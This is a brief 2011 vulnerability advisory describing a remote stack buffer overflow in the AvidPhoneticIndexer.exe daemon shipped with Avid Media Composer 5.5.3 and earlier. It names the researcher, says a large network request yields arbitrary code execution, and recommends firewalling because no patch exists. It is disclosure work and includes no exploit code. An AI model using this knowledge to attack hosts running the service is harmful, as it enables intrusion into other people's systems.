                                                #Name :AVID Media Composer Phonetic Indexer Remote Stack Buffer Overflow 
#Vendor Website : http://www.avid.com
#Date Released : November 29, 2011 
#Affected Software : AVID Media Composer <= 5.5.3 Researcher
#Researcher : Nick Freeman ([email protected])

#Description
#Security-Assessment.com discovered a remote stack buffer overflow vulnerability in a network daemon that #ships with Avid Media Composer 5.5, named AvidPhoneticIndexer.exe. By sending a large request to the #listening network service, it is possible to overwrite the stack of the process and gain arbitrary code #execution.

#Solution
#No patch is available for this vulnerability at this time. Host and network based firewalling are #recommended as workarounds to limit the exposure of the vulnerable service.
